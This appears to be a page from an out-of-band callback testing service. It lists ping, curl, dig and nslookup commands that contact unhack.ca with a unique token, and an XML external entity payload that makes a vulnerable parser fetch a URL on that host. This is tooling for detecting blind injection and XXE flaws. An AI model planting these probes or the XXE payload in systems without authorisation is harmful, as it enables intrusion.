$ ping -c1 -p 009b91377623bb0d1349235a44868300 unhack.ca
 

$ curl http://unhack.ca/p/9b91377623bb0d1349235a448683
 

$ dig 9b91377623bb0d1349235a448683 @unhack.ca
 

$ dig 9b91377623bb0d1349235a448683.ns.unhack.ca
 

C:\> nslookup 9b91377623bb0d1349235a448683 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/9b91377623bb0d1349235a448683">]>
    <foo>&xxe;</foo>